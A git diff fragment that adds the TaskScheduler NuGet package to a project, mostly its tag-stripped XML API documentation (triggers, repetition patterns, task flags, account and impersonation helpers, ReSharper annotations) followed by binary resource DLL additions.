+ + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Converts an array of bit indices into a mask with bits turned ON at every index contained in the array. Indices must be from 1 + to 32 and bits are numbered the same. + + An array with an element for each bit of the mask which is ON. + An integer to be interpreted as a mask. + + + Compares two collections. + Item type of collections. + The first collection. + The second collection + true if the collections values are equal; false otherwise. + + + + Convert an integer representing a mask to an array where each element contains the index of a bit that is ON in the mask. Bits + are considered to number from 1 to 32. + + An integer to be interpreted as a mask. + An array with an element for each bit of the mask which is ON. + + + Reads the subclass XML for V1 streams. + The reader. + + + + Represents a trigger that starts a task when the task is registered or updated. Not available on Task Scheduler 1.0. Only + available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + The RegistrationTrigger will fire after the task is registered (saved). It is advisable to put in a delay. + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Defines how often the task is run and how long the repetition pattern is repeated after the task is started. + This can be used directly or by assignment for a . + + + + + + + + Initializes a new instance of the class. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + The duration of how long the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, + the pattern is repeated indefinitely. + + + If set to true the running instance of the task is stopped at the end of repetition pattern duration. + + + + Occurs when a property value changes. + + + Gets or sets how long the pattern is repeated. + + The duration that the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, the + pattern is repeated indefinitely. + + If you specify a repetition duration for a task, you must also specify the repetition interval. + + + Gets or sets the amount of time between each restart of the task. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + If you specify a repetition duration for a task, you must also specify the repetition interval. + + The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + + + Gets or sets a Boolean value that indicates if a running instance of the task is stopped at the end of repetition pattern duration. + + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Determines whether any properties for this have been set. + true if properties have been set; otherwise, false. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Triggers tasks for console connect or disconnect, remote connect or disconnect, or workstation lock or unlock notifications. + Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + + The SessionStateChangeTrigger will fire after six different system events: connecting or disconnecting locally or remotely, or + locking or unlocking the session. + + + + + + + + + Creates an unbound instance of a . + + + Initializes a new instance of the class. + The state change. + The user identifier. + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + + + Gets or sets the kind of Terminal Server session change that would trigger a task launch. + + + + Gets or sets the user for the Terminal Server session. When a session state change is detected for this user, a task is started. + + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Returns a value indicating if the StateChange property has been set. + StateChange property has been set. + + + Represents a trigger that starts a task at a specific date and time. + A TimeTrigger runs at a specified date and time. + + + + + + + + Creates an unbound instance of a . + + + Creates an unbound instance of a and assigns the execution time. + Date and time for the trigger to fire. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task based on a weekly schedule. For example, the task starts at 8:00 A.M. on a specific day of + the week every week or every other week. + + A WeeklyTrigger runs at a specified time on specified days of the week every week or interval of weeks. + + + + + + + + Creates an unbound instance of a . + The days of the week. + The interval between the weeks in the schedule. + + + Gets or sets the days of the week on which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets the interval between the weeks in the schedule. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Reads the subclass XML for V1 streams. + The reader. + + + Writes the subclass XML for V1 streams. + The writer. + + + Provides the methods that are used to add to, remove from, and get the triggers of a task. + + + Occurs when a collection changes. + + + Occurs when a property value changes. + + + Gets the number of triggers in the collection. + + + Gets or sets a specified trigger from the collection. + The . + The id ( ) of the trigger to be retrieved. + Specialized instance. + + + + Mismatching Id for trigger and lookup. + + + Gets a specified trigger from the collection. + The index of the trigger to be retrieved. + Specialized instance. + + + Add an unbound to the task. + A type derived from . + derivative to add to the task. + Bound trigger. + unboundTrigger is null. + + + Add a new trigger to the collections of triggers for the task. + The type of trigger to create. + A instance of the specified type. + + + Adds a collection of unbound triggers to the end of the . + + The triggers to be added to the end of the . The collection itself cannot be null and + cannot contain null elements. + + is null. + + + Clears all triggers from the task. + + + Determines whether the contains a specific value. + The object to locate in the . + true if is found in the ; otherwise, false. + + + Determines whether the specified trigger type is contained in this collection. + Type of the trigger. + true if the specified trigger type is contained in this collection; otherwise, false. + + + + Copies the elements of the to an , starting at a particular index. + + + The one-dimensional that is the destination of the elements copied from . The + must have zero-based indexing. + + The zero-based index in at which copying begins. + + + + Copies the elements of the to a array, starting at a particular array index. + + The zero-based index in the source at which copying begins. + + The array that is the destination of the elements copied from . The array must have zero-based indexing. + + The zero-based index in array at which copying begins. + The number of elements to copy. + is null. + is less than 0. + + The number of elements in the source is greater than the available space from to the end of the destination . + + + + Releases all resources used by this class. + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the first + occurrence within the entire collection. + + + The delegate that defines the conditions of the to search for. + + + The first that matches the conditions defined by the specified predicate, if found; otherwise, null. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection that starts at the specified index and contains the specified number of elements. + + The zero-based starting index of the search. + The number of elements in the collection to search. + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection. + + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + Gets the collection enumerator for this collection. + The for this collection. + + + Determines the index of a specific item in the . + The object to locate in the . + The index of if found in the list; otherwise, -1. + + + Determines the index of a specific item in the . + The id ( ) of the trigger to be retrieved. + The index of if found in the list; otherwise, -1. + + + Inserts an trigger at the specified index. + The zero-based index at which trigger should be inserted. + The trigger to insert into the list. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method + also returns false if is not found in the original . + + + + Removes the trigger at a specified index. + Index of trigger to remove. + Index out of range. + + + Copies the elements of the to a new array. + An array containing copies of the elements of the . + + + Returns a that represents the triggers in this collection. + A that represents the triggers in this collection. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Releases all resources used by this class. + + + Represents a system account. + + + Initializes a new instance of the class. + + Name of the user. This can be in the format DOMAIN\username or username@domain.com or username or + null (for current user). + + + + Initializes a new instance of the class. + The . + + + Gets the current user. + The current user. + + + Gets the identity. + The identity. + + + Gets a value indicating whether this instance is in an administrator role. + true if this instance is an admin; otherwise, false. + + + Gets a value indicating whether this instance is the interactive user. + true if this instance is the current user; otherwise, false. + + + Gets a value indicating whether this instance is a service account. + true if this instance is a service account; otherwise, false. + + + Gets a value indicating whether this instance is the SYSTEM account. + true if this instance is the SYSTEM account; otherwise, false. + + + Gets the SID string. + The SID string. + + + Gets the NT name (DOMAIN\username). + The name of the user. + + + Create a instance from a SID string. + The SID string. + A instance. + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + + Options for a task, used for the Flags property of a Task. Uses the + "Flags" attribute, so these values are combined with |. + Some flags are documented as Windows 95 only, but they have a + user interface in Windows XP so that may not be true. + + + + + The interactive flag is set if the task is intended to be displayed to the user. + If the flag is not set, no user interface associated with the task is presented + to the user when the task is executed. + + + + + The task will be deleted when there are no more scheduled run times. + + + + + The task is disabled. This is useful to temporarily prevent a task from running + at the scheduled time(s). + + + + + The task begins only if the computer is not in use at the scheduled start time. Windows 95 only. + + + + + The task terminates if the computer makes an idle to non-idle transition while the task is running. + The computer is not considered idle until the IdleWait triggers' time elapses with no user input. + Windows 95 only. For information regarding idle triggers, see . + + + + + The task does not start if its target computer is running on battery power. Windows 95 only. + + + + + The task ends, and the associated application quits if the task's target computer switches + to battery power. Windows 95 only. + + + + + The task runs only if the system is docked. Windows 95 only. + + + + + The work item created will be hidden. + + + + + The task runs only if there is currently a valid Internet connection. + This feature is currently not implemented. + + + + + The task starts again if the computer makes a non-idle to idle transition before all the + task's task_triggers elapse. (Use this flag in conjunction with KillOnIdleEnd.) Windows 95 only. + + + + + The task runs only if the SYSTEM account is available. + + + + + The task runs only if the user specified in SetAccountInformation is logged on interactively. + This flag has no effect on work items set to run in the local account. + + + + + Status values returned for a task. Some values have been determined to occur although + they do no appear in the Task Scheduler system documentation. + + + + The task is ready to run at its next scheduled time. + + + The task is currently running. + + + One or more of the properties that are needed to run this task on a schedule have not been set. + + + The task has not yet run. + + + The task will not run at the scheduled times because it has been disabled. + + + There are no more runs scheduled for this task. + + + The last run of the task was terminated by the user. + + + Either the task has no triggers or the existing triggers are disabled or not set. + + + Event triggers don't have set run times. + + + Valid types of triggers + + + Trigger is set to run the task a single time. + + + Trigger is set to run the task on a daily interval. + + + Trigger is set to run the work item on specific days of a specific week of a specific month. + + + Trigger is set to run the task on a specific day(s) of the month. + + + Trigger is set to run the task on specific days, weeks, and months. + + + Trigger is set to run the task if the system remains idle for the amount of time specified by the idle wait time of the task. + + + Trigger is set to run the task at system startup. + + + Trigger is set to run the task when a user logs on. + + + + Represents a wildcard running on the + engine. + + + + + Initializes a wildcard with the given search pattern and options. + + The wildcard pattern to match. + A combination of one or more . + + + + Converts a wildcard to a regular expression. + + The wildcard pattern to convert. + A regular expression equivalent of the given wildcard. + + + + The GlobalLock function locks a global memory object and returns a pointer to the first byte of the object's memory block. + GlobalLock function increments the lock count by one. + Needed for the clipboard functions when getting the data from IDataObject + + + + + + + The GlobalUnlock function decrements the lock count associated with a memory object. + + + + + + + Defines the errors returned by the status member of the DS_NAME_RESULT_ITEM structure. These are potential errors that may be encountered while a name is converted by the DsCrackNames function. + + + + The conversion was successful. + + + Generic processing error occurred. + + + The name cannot be found or the caller does not have permission to access the name. + + + The input name is mapped to more than one output name or the desired format did not have a single, unique value for the object found. + + + The input name was found, but the associated output format cannot be found. This can occur if the object does not have all the required attributes. + + + Unable to resolve entire name, but was able to determine in which domain object resides. The caller is expected to retry the call at a domain controller for the specified domain. The entire name cannot be resolved, but the domain that the object resides in could be determined. The pDomain member of the DS_NAME_RESULT_ITEM contains valid data when this error is specified. + + + A syntactical mapping cannot be performed on the client without transmitting over the network. + + + The name is from an external trusted forest. + + + + Used to define how the name syntax will be cracked. These flags are used by the DsCrackNames function. + + + + Indicate that there are no associated flags. + + + Perform a syntactical mapping at the client without transferring over the network. The only syntactic mapping supported is from DS_FQDN_1779_NAME to DS_CANONICAL_NAME or DS_CANONICAL_NAME_EX. + + + Force a trip to the DC for evaluation, even if this could be locally cracked syntactically. + + + The call fails if the domain controller is not a global catalog server. + + + Enable cross forest trust referral. + + + + Provides formats to use for input and output names for the DsCrackNames function. + + + + Indicates the name is using an unknown name type. This format can impact performance because it forces the server to attempt to match all possible formats. Only use this value if the input format is unknown. + + + Indicates that the fully qualified distinguished name is used. For example: "CN = someone, OU = Users, DC = Engineering, DC = Fabrikam, DC = Com" + + + Indicates a Windows NT 4.0 account name. For example: "Engineering\someone" The domain-only version includes two trailing backslashes (\\). + + + Indicates a user-friendly display name, for example, Jeff Smith. The display name is not necessarily the same as relative distinguished name (RDN). + + + Indicates a GUID string that the IIDFromString function returns. For example: "{4fa050f0-f561-11cf-bdd9-00aa003a77b6}" + + + Indicates a complete canonical name. For example: "engineering.fabrikam.com/software/someone" The domain-only version includes a trailing forward slash (/). + + + Indicates that it is using the user principal name (UPN). For example: "someone@engineering.fabrikam.com" + + + This element is the same as DS_CANONICAL_NAME except that the rightmost forward slash (/) is replaced with a newline character (\n), even in a domain-only case. For example: "engineering.fabrikam.com/software\nsomeone" + + + Indicates it is using a generalized service principal name. For example: "www/www.fabrikam.com@fabrikam.com" + + + Indicates a Security Identifier (SID) for the object. This can be either the current SID or a SID from the object SID history. The SID string can use either the standard string representation of a SID, or one of the string constants defined in Sddl.h. For more information about converting a binary SID into a SID string, see SID Strings. The following is an example of a SID string: "S-1-5-21-397955417-626881126-188441444-501" + + + + Class that provides methods against a AD domain service. + + + + + + Initializes a new instance of the class. + + Name of the domain controller. + Name of the DNS domain. + + + + + Converts a directory service object name from any format to the UPN. + + The name to convert. + The corresponding UPN. + Unable to resolve user name. + + + + Converts an array of directory service object names from one format to another. Name conversion enables client applications to map between the multiple names used to identify various directory service objects. + + The names to convert. + Values used to determine how the name syntax will be cracked. + Format of the input names. + Desired format for the output names. + An array of DS_NAME_RESULT_ITEM structures. Each element of this array represents a single converted name. + + + + Impersonation of a user. Allows to execute code under another + user context. + Please note that the account that instantiates the Impersonator class + needs to have the 'Act as part of operating system' privilege set. + + + + + Constructor. Starts the impersonation with the given credentials. + Please note that the account that instantiates the Impersonator class + needs to have the 'Act as part of operating system' privilege set. + + The name of the user to act as. + The domain name of the user to act as. + The password of the user to act as. + + + + Indicates that the value of the marked element could be null sometimes, + so the check for null is necessary before its usage. + + + [CanBeNull] object Test() => null; + + void UseTest() { + var p = Test(); + var s = p.ToString(); // Warning: Possible 'System.NullReferenceException' + } + + + + + Indicates that the value of the marked element could never be null. + + + [NotNull] object Foo() { + return null; // Warning: Possible 'null' assignment + } + + + + + Can be appplied to symbols of types derived from IEnumerable as well as to symbols of Task + and Lazy classes to indicate that the value of a collection item, of the Task.Result property + or of the Lazy.Value property can never be null. + + + + + Can be appplied to symbols of types derived from IEnumerable as well as to symbols of Task + and Lazy classes to indicate that the value of a collection item, of the Task.Result property + or of the Lazy.Value property can be null. + + + + + Indicates that the marked method builds string by format pattern and (optional) arguments. + Parameter, which contains format string, should be given in constructor. The format string + should be in -like form. + + + [StringFormatMethod("message")] + void ShowError(string message, params object[] args) { /* do something */ } + + void Foo() { + ShowError("Failed: {0}"); // Warning: Non-existing argument in format string + } + + + + + Specifies which parameter of an annotated method should be treated as format-string + + + + + For a parameter that is expected to be one of the limited set of values. + Specify fields of which type should be used as values for this parameter. + + + + + Indicates that the function argument should be string literal and match one + of the parameters of the caller function. For example, ReSharper annotates + the parameter of . + + + void Foo(string param) { + if (param == null) + throw new ArgumentNullException("par"); // Warning: Cannot resolve symbol + } + + + + + Indicates that the method is contained in a type that implements + System.ComponentModel.INotifyPropertyChanged interface and this method + is used to notify that some property value changed. + + + The method should be non-static and conform to one of the supported signatures: + + NotifyChanged(string) + NotifyChanged(params string[]) + NotifyChanged{T}(Expression{Func{T}}) + NotifyChanged{T,U}(Expression{Func{T,U}}) + SetProperty{T}(ref T, T, string) + + + + public class Foo : INotifyPropertyChanged { + public event PropertyChangedEventHandler PropertyChanged; + + [NotifyPropertyChangedInvocator] + protected virtual void NotifyChanged(string propertyName) { ... } + + string _name; + + public string Name { + get { return _name; } + set { _name = value; NotifyChanged("LastName"); /* Warning */ } + } + } + + Examples of generated notifications: + + NotifyChanged("Property") + NotifyChanged(() => Property) + NotifyChanged((VM x) => x.Property) + SetProperty(ref myField, value, "Property") + + + + + + Describes dependency between method input and output. + + +

Function Definition Table syntax:

+ + FDT ::= FDTRow [;FDTRow]* + FDTRow ::= Input => Output | Output <= Input + Input ::= ParameterName: Value [, Input]* + Output ::= [ParameterName: Value]* {halt|stop|void|nothing|Value} + Value ::= true | false | null | notnull | canbenull + + If method has single input parameter, it's name could be omitted.
+ Using halt (or void/nothing, which is the same) for method output + means that the methos doesn't return normally (throws or terminates the process).
+ Value canbenull is only applicable for output parameters.
+ You can use multiple [ContractAnnotation] for each FDT row, or use single attribute + with rows separated by semicolon. There is no notion of order rows, all rows are checked + for applicability and applied per each program state tracked by R# analysis.
+
+ + + [ContractAnnotation("=> halt")] + public void TerminationMethod() + + + [ContractAnnotation("halt <= condition: false")] + public void Assert(bool condition, string text) // regular assertion method + + + [ContractAnnotation("s:null => true")] + public bool IsNullOrEmpty(string s) // string.IsNullOrEmpty() + + + // A method that returns null if the parameter is null, + // and not null if the parameter is not null + [ContractAnnotation("null => null; notnull => notnull")] + public object Transform(object data) + + + [ContractAnnotation("=> true, result: notnull; => false, result: null")] + public bool TryParse(string s, out Person result) + + +
+ + + Indicates that marked element should be localized or not. + + + [LocalizationRequiredAttribute(true)] + class Foo { + string str = "my string"; // Warning: Localizable string + } + + + + + Indicates that the value of the marked type (or its derivatives) + cannot be compared using '==' or '!=' operators and Equals() + should be used instead. However, using '==' or '!=' for comparison + with null is always permitted. + + + [CannotApplyEqualityOperator] + class NoEquality { } + + class UsesNoEquality { + void Test() { + var ca1 = new NoEquality(); + var ca2 = new NoEquality(); + if (ca1 != null) { // OK + bool condition = ca1 == ca2; // Warning + } + } + } + + + + + When applied to a target attribute, specifies a requirement for any type marked + with the target attribute to implement or inherit specific type or types. + + + [BaseTypeRequired(typeof(IComponent)] // Specify requirement + class ComponentAttribute : Attribute { } + + [Component] // ComponentAttribute requires implementing IComponent interface + class MyComponent : IComponent { } + + + + + Indicates that the marked symbol is used implicitly (e.g. via reflection, in external library), + so this symbol will not be marked as unused (as well as by other usage inspections). + + + + + Should be used on attributes and causes ReSharper to not mark symbols marked with such attributes + as unused (as well as by other usage inspections) + + + + Only entity marked with attribute considered used. + + + Indicates implicit assignment to a member. + + + + Indicates implicit instantiation of a type with fixed constructor signature. + That means any unused constructor parameters won't be reported as such. + + + + Indicates implicit instantiation of a type. + + + + Specify what is considered used implicitly when marked + with or . + + + + Members of entity marked with attribute are considered used. + + + Entity marked with attribute and all its members considered used. + + + + This attribute is intended to mark publicly available API + which should not be removed and so is treated as used. + + + + + Tells code analysis engine if the parameter is completely handled when the invoked method is on stack. + If the parameter is a delegate, indicates that delegate is executed while the method is executed. + If the parameter is an enumerable, indicates that it is enumerated while the method is executed. + + + + + Indicates that a method does not make any observable state changes. + The same as System.Diagnostics.Contracts.PureAttribute. + + + [Pure] int Multiply(int x, int y) => x * y; + + void M() { + Multiply(123, 42); // Waring: Return value of pure method is not used + } + + + + + Indicates that the return value of method invocation must be used. + + + + + Indicates the type member or parameter of some type, that should be used instead of all other ways + to get the value that type. This annotation is useful when you have some "context" value evaluated + and stored somewhere, meaning that all other ways to get this value must be consolidated with existing one. + + + class Foo { + [ProvidesContext] IBarService _barService = ...; + + void ProcessNode(INode node) { + DoSomething(node, node.GetGlobalServices().Bar); + // ^ Warning: use value of '_barService' field + } + } + + + + + Indicates that a parameter is a path to a file or a folder within a web project. + Path can be relative or absolute, starting from web root (~). + + + + + An extension method marked with this attribute is processed by ReSharper code completion + as a 'Source Template'. When extension method is completed over some expression, it's source code + is automatically expanded like a template at call site. + + + Template method body can contain valid source code and/or special comments starting with '$'. + Text inside these comments is added as source code when the template is applied. Template parameters + can be used either as additional method parameters or as identifiers wrapped in two '$' signs. + Use the attribute to specify macros for parameters. + + + In this example, the 'forEach' method is a source template available over all values + of enumerable types, producing ordinary C# 'foreach' statement and placing caret inside block: + + [SourceTemplate] + public static void forEach<T>(this IEnumerable<T> xs) { + foreach (var x in xs) { + //$ $END$ + } + } + + + + + + Allows specifying a macro for a parameter of a source template. + + + You can apply the attribute on the whole method or on any of its additional parameters. The macro expression + is defined in the property. When applied on a method, the target + template parameter is defined in the property. To apply the macro silently + for the parameter, set the property value = -1. + + + Applying the attribute on a source template method: + + [SourceTemplate, Macro(Target = "item", Expression = "suggestVariableName()")] + public static void forEach<T>(this IEnumerable<T> collection) { + foreach (var item in collection) { + //$ $END$ + } + } + + Applying the attribute on a template method parameter: + + [SourceTemplate] + public static void something(this Entity x, [Macro(Expression = "guid()", Editable = -1)] string newguid) { + /*$ var $x$Id = "$newguid$" + x.ToString(); + x.DoSomething($x$Id); */ + } + + + + + + Allows specifying a macro that will be executed for a source template + parameter when the template is expanded. + + + + + Allows specifying which occurrence of the target parameter becomes editable when the template is deployed. + + + If the target parameter is used several times in the template, only one occurrence becomes editable; + other occurrences are changed synchronously. To specify the zero-based index of the editable occurrence, + use values >= 0. To make the parameter non-editable when the template is expanded, use -1. + > + + + + Identifies the target parameter of a source template if the + is applied on a template method. + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC action. If applied to a method, the MVC action name is calculated + implicitly from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC area. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter is + an MVC controller. If applied to a method, the MVC controller name is calculated + implicitly from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC Master. Use this attribute + for custom wrappers similar to System.Web.Mvc.Controller.View(String, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC model type. Use this attribute + for custom wrappers similar to System.Web.Mvc.Controller.View(String, Object). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter is an MVC + partial view. If applied to a method, the MVC partial view name is calculated implicitly + from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.RenderPartialExtensions.RenderPartial(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Allows disabling inspections for MVC views within a class or a method. + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC display template. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.DisplayExtensions.DisplayForModel(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC editor template. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.EditorExtensions.EditorForModel(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC template. + Use this attribute for custom wrappers similar to + System.ComponentModel.DataAnnotations.UIHintAttribute(System.String). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component. If applied to a method, the MVC view name is calculated implicitly + from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Controller.View(Object). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component name. + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component view. If applied to a method, the MVC view component view name is default. + + + + + ASP.NET MVC attribute. When applied to a parameter of an attribute, + indicates that this parameter is an MVC action name. + + + [ActionName("Foo")] + public ActionResult Login(string returnUrl) { + ViewBag.ReturnUrl = Url.Action("Foo"); // OK + return RedirectToAction("Bar"); // Error: Cannot resolve action + } + + + + + Razor attribute. Indicates that a parameter or a method is a Razor section. + Use this attribute for custom wrappers similar to + System.Web.WebPages.WebPageBase.RenderSection(String). + + + + + Indicates how method, constructor invocation or property access + over collection type affects content of the collection. + + + + Method does not use or modify content of the collection. + + + Method only reads content of the collection but does not modify it. + + + Method can change content of the collection but does not add new elements. + + + Method can add new elements to the collection. + + + + Indicates that the marked method is assertion method, i.e. it halts control flow if + one of the conditions is satisfied. To set the condition, mark one of the parameters with + attribute. + + + + + Indicates the condition parameter of the assertion method. The method itself should be + marked by attribute. The mandatory argument of + the attribute is the assertion type. + + + + + Specifies assertion type. If the assertion method argument satisfies the condition, + then the execution continues. Otherwise, execution is assumed to be halted. + + + + Marked parameter should be evaluated to true. + + + Marked parameter should be evaluated to false. + + + Marked parameter should be evaluated to null value. + + + Marked parameter should be evaluated to not null value. + + + + Indicates that the marked method unconditionally terminates control flow execution. + For example, it could unconditionally throw exception. + + + + + Indicates that method is pure LINQ method, with postponed enumeration (like Enumerable.Select, + .Where). This annotation allows inference of [InstantHandle] annotation for parameters + of delegate type by analyzing LINQ method chains. + + + + + Indicates that IEnumerable, passed as parameter, is not enumerated. + + + + + Indicates that parameter is regular expression pattern. + + + + + Prevents the Member Reordering feature from tossing members of the marked class. + + + The attribute must be mentioned in your member reordering patterns + + + + + XAML attribute. Indicates the type that has ItemsSource property and should be treated + as ItemsControl-derived type, to enable inner items DataContext type resolve. + + + + + XAML attribute. Indicates the property of some BindingBase-derived type, that + is used to bind some item of ItemsControl-derived type. This annotation will + enable the DataContext type resolve for XAML bindings for such properties. + + + Property should have the tree ancestor of the ItemsControl type or + marked with the attribute. + + + + Extensions for classes in the System.Security.AccessControl namespace. + + + Canonicalizes the specified Access Control List. + The Access Control List. + + + Sort ACEs according to canonical form for this . + The object security whose DiscretionaryAcl will be made canonical. + + + Returns an array of byte values that represents the information contained in this object. + The object. + The byte array into which the contents of the is marshaled. + + + + Converts the string representation of the name or numeric value of one or more enumerated constants to an equivalent enumerated object or returns the value of . If is undefined, it returns the first declared item in the enumerated type. + + The enumeration type to which to convert . + The string representation of the enumeration name or underlying value to convert. + true to ignore case; false to consider case. + The default value. + An object of type whose value is represented by value. + + + + Converts an that points to a C-style array into a CLI array. + + Type of native structure used by the C-style array. + Output type for the CLI array. must be able to convert to . + The pointing to the native array. + The number of items in the native array. + An array of type containing the converted elements of the native array. + + + + Converts an that points to a C-style array into a CLI array. + + Type of native structure used by the C-style array. + The pointing to the native array. + The number of items in the native array. + An array of type containing the elements of the native array. + + + Extensions related to System.Reflection + + + Loads a type from a named assembly. + Name of the type. + The name or path of the file that contains the manifest of the assembly. + The reference, or null if type or assembly not found. + + + Tries the retrieve a reference from an assembly. + Name of the type. + The assembly reference name from which to load the type. + The reference, if found. + true if the type was found in the assembly; otherwise, false. + + + Tries the retrieve a reference from an assembly. + Name of the type. + The assembly from which to load the type. + The reference, if found. + true if the type was found in the assembly; otherwise, false. + + + Invokes a named method on a created instance of a type with parameters. + The expected type of the method's return value. + The type to be instantiated and then used to invoke the method. This method assumes the type has a default public constructor. + Name of the method. + The arguments to provide to the method invocation. + The value returned from the method. + + + Invokes a named method on a created instance of a type with parameters. + The expected type of the method's return value. + The type to be instantiated and then used to invoke the method. + The arguments to supply to the constructor. + Name of the method. + The arguments to provide to the method invocation. + The value returned from the method. + + + Invokes a named method on an object with parameters and no return value. + The object on which to invoke the method. + Name of the method. + The arguments to provide to the method invocation. + + + Invokes a named method on an object with parameters and no return value. + The expected type of the method's return value. + The object on which to invoke the method. + Name of the method. + The types of the . + The arguments to provide to the method invocation. + The value returned from the method. + + + Gets a named property value from an object. + The expected type of the property to be returned. + The object from which to retrieve the property. + Name of the property. + The default value to return in the instance that the property is not found. + The property value, if found, or the if not. + + + Sets a named property on an object. + The type of the property to be set. + The object on which to set the property. + Name of the property. + The property value to set on the object. + +
+
diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/de/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/de/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..a81372a Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/de/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/es/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/es/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..ed0b44e Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/es/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/fr/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/fr/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..8bc9899 Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/fr/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/it/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/it/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..625cd89 Binary files 